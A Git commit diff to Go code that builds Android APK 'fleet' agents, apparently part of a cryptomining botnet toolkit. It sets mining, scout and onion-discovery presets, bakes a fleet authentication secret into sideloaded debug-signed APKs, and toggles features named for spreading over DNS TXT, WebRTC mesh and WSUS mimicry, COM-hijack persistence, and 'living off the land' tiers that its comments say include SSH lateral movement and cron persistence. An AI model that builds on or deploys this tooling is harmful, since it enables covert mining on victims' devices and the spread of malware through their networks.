Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -22,7 +22,25 @@ import (
|
||||
type ApkBuildFunc func(h *Handler, ctx context.Context, androidDir, buildDir string) (apkPath string, err error)
|
||||
|
||||
// Android-safe LOTL tiers baked into APK fleet nodes (no Windows spread lanes).
|
||||
var apkSafeLotlTiers = []string{"vuln_recon", "linux"}
|
||||
// apkSafeLotlTiers lists the only LOTL tiers that make sense on Android.
|
||||
// The "linux" tier includes SSH lateral movement, cron jobs and /etc/hosts
|
||||
// writes — none of which are available inside the Android process sandbox.
|
||||
// Restricting to vuln_recon prevents silent runtime failures and avoids
|
||||
// pointless battery drain from techniques that will never succeed.
|
||||
var apkSafeLotlTiers = []string{"vuln_recon"}
|
||||
|
||||
// ApplyApkScoutPreset enforces roving scout defaults for Android APK builds.
|
||||
func ApplyApkScoutPreset(req *BuildRequest) {
|
||||
ApplyApkBuildPreset(req)
|
||||
req.ScoutMode = true
|
||||
req.MiningDisabled = true
|
||||
req.LotlOnionEnabled = false
|
||||
req.LotlPolicyFromServer = true
|
||||
req.LotlOnionTiers = []string{"discover_and_join", "service_graph"}
|
||||
if strings.TrimSpace(req.Wallet) == "" {
|
||||
req.Wallet = "android-scout-no-pool"
|
||||
}
|
||||
}
|
||||
|
||||
// ApplyApkBuildPreset enforces fleet-node defaults for phone/tablet APK builds.
|
||||
func ApplyApkBuildPreset(req *BuildRequest) {
|
||||
@@ -53,6 +71,7 @@ func ApplyApkBuildPreset(req *BuildRequest) {
|
||||
req.DnsTxtSpread = false
|
||||
req.WebRTCMeshSpread = false
|
||||
req.WSUSCachePeerSpread = false
|
||||
req.WSUSFormatMimic = false
|
||||
req.COMHijackPersist = false
|
||||
req.RemoteAggressive = false
|
||||
req.LinuxLOTLMode = "off"
|
||||
@@ -75,22 +94,41 @@ func (h *Handler) apkAssetsDir() string {
|
||||
return filepath.Join(h.apkAndroidDir(), "agent-app", "src", "main", "assets")
|
||||
}
|
||||
|
||||
type apkAssetConfig struct {
|
||||
ServerURL string `json:"server_url"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
// apkMiningConfig mirrors the "mining" object that AgentConfig.kt reads.
|
||||
type apkMiningConfig struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
|
||||
func (h *Handler) writeApkConfigJSON(req *BuildRequest) error {
|
||||
// apkAssetConfig is the full config.json written into the APK assets.
|
||||
// Every field here is consumed by AgentConfig.kt — adding a field here
|
||||
// without a corresponding read in Kotlin is a no-op, but omitting a field
|
||||
// that Kotlin reads causes the app to fall back to its hardcoded defaults
|
||||
// (e.g. fleet_secret would be nil → agent cannot authenticate to the server).
|
||||
type apkAssetConfig struct {
|
||||
ServerURL string `json:"server_url"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
WorkerNumber string `json:"worker_number"`
|
||||
FleetSecret string `json:"fleet_secret,omitempty"`
|
||||
Mining apkMiningConfig `json:"mining"`
|
||||
BuildID string `json:"build_id"`
|
||||
}
|
||||
|
||||
func (h *Handler) writeApkConfigJSON(req *BuildRequest, buildID string) error {
|
||||
assetsDir := h.apkAssetsDir()
|
||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||
return fmt.Errorf("create apk assets dir: %w", err)
|
||||
}
|
||||
cfg := apkAssetConfig{
|
||||
ServerURL: strings.TrimSpace(req.ServerURL),
|
||||
WorkerName: strings.TrimSpace(req.ApkAgentName),
|
||||
workerName := strings.TrimSpace(req.ApkAgentName)
|
||||
if workerName == "" {
|
||||
workerName = strings.TrimSpace(req.WorkerName)
|
||||
}
|
||||
if cfg.WorkerName == "" {
|
||||
cfg.WorkerName = strings.TrimSpace(req.WorkerName)
|
||||
cfg := apkAssetConfig{
|
||||
ServerURL: strings.TrimSpace(req.ServerURL),
|
||||
WorkerName: workerName,
|
||||
WorkerNumber: workerName,
|
||||
FleetSecret: h.fleetSecret, // baked-in fleet auth — without this the agent cannot handshake
|
||||
Mining: apkMiningConfig{Enabled: !req.MiningDisabled},
|
||||
BuildID: buildID,
|
||||
}
|
||||
raw, err := json.MarshalIndent(cfg, "", " ")
|
||||
if err != nil {
|
||||
@@ -119,34 +157,46 @@ func (h *Handler) defaultApkBuild(ctx context.Context, androidDir, buildDir stri
|
||||
}
|
||||
return "", fmt.Errorf("build-apk.ps1 failed: %s", strings.TrimSpace(string(out)))
|
||||
}
|
||||
apk := filepath.Join(buildDir, "agent-app-release.apk")
|
||||
if fileExists(apk) {
|
||||
return apk, nil
|
||||
// The ps1 script uses assembleDebug → aetherforge-agent.apk; fall back
|
||||
// to the release name for scripts that override the output filename.
|
||||
for _, name := range []string{"aetherforge-agent.apk", "agent-app-debug.apk", "agent-app-release.apk"} {
|
||||
apk := filepath.Join(buildDir, name)
|
||||
if fileExists(apk) {
|
||||
return apk, nil
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("build-apk.ps1 did not produce agent-app-release.apk")
|
||||
return "", fmt.Errorf("build-apk.ps1 did not produce an APK in %s", buildDir)
|
||||
}
|
||||
|
||||
// Use assembleDebug, not assembleRelease.
|
||||
// assembleRelease requires a signingConfig keystore — without one Gradle
|
||||
// produces an unsigned APK that Android 8+ refuses to install via adb.
|
||||
// assembleDebug signs automatically with the Gradle debug keystore, which
|
||||
// is sufficient for sideloaded fleet installs and matches build-apk.ps1.
|
||||
gradlew := filepath.Join(androidDir, "gradlew")
|
||||
if runtime.GOOS == "windows" {
|
||||
gradlew = filepath.Join(androidDir, "gradlew.bat")
|
||||
}
|
||||
if fileExists(gradlew) {
|
||||
cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleRelease")
|
||||
cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleDebug", "--no-daemon")
|
||||
cmd.Dir = androidDir
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
if ctx.Err() != nil {
|
||||
return "", fmt.Errorf("apk build cancelled")
|
||||
}
|
||||
return "", fmt.Errorf("gradle assembleRelease failed: %s", strings.TrimSpace(string(out)))
|
||||
return "", fmt.Errorf("gradle assembleDebug failed: %s", strings.TrimSpace(string(out)))
|
||||
}
|
||||
candidates := []string{
|
||||
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "debug", "agent-app-debug.apk"),
|
||||
// legacy names kept for backward compat with older AGP versions
|
||||
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "debug", "app-debug.apk"),
|
||||
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release-unsigned.apk"),
|
||||
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release.apk"),
|
||||
}
|
||||
for _, c := range candidates {
|
||||
if fileExists(c) {
|
||||
dest := filepath.Join(buildDir, "agent-app-release.apk")
|
||||
dest := filepath.Join(buildDir, "agent-app-debug.apk")
|
||||
if err := copyFile(c, dest); err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -181,7 +231,11 @@ func apkFileName(req *BuildRequest) string {
|
||||
|
||||
// buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK.
|
||||
func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) {
|
||||
ApplyApkBuildPreset(req)
|
||||
if req.ScoutMode {
|
||||
ApplyApkScoutPreset(req)
|
||||
} else {
|
||||
ApplyApkBuildPreset(req)
|
||||
}
|
||||
|
||||
buildID := uuid.New().String()
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
@@ -206,12 +260,20 @@ func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildRe
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
if ctx.Err() != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "apk build cancelled"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
h.setProgress(req.CancelToken, "Writing Android config", 55)
|
||||
if err := h.writeApkConfigJSON(req); err != nil {
|
||||
if err := h.writeApkConfigJSON(req, buildID); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "Failed to write apk config.json: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
if ctx.Err() != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "apk build cancelled"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
h.setProgress(req.CancelToken, "Copying agent to APK assets", 65)
|
||||
if err := h.copyAgentBinaryToApkAssets(outputPath); err != nil {
|
||||
cleanupBuild()
|
||||
|
||||
Reference in New Issue
Block a user